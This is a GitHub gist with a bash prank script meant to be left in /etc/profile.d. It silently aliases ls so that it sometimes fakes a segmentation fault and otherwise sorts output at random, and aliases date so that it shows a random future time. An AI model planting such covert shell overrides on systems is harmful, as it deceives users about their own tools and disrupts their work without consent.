Skip to content

Instantly share code, notes, and snippets.

@pmenglund
Created September 27, 2018 17:50
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save pmenglund/d318abde96defb2f2b6b79b9842fa4d8 to your computer and use it in GitHub Desktop.
Save pmenglund/d318abde96defb2f2b6b79b9842fa4d8 to your computer and use it in GitHub Desktop.
thing to leave behind in /etc/profile.d
_ls() {
if [[ $[$RANDOM % 4] == 0 ]]; then
sleep 1
echo "Segmentation fault"
return 139
else
# run ls with randon sorting option
command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@";
fi
}
_date() {
if [ "$#" -eq 0 ]; then
date -d "now + $RANDOM hours"
else
date "$@"
fi
}
alias ls='_ls'
alias date='_date'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment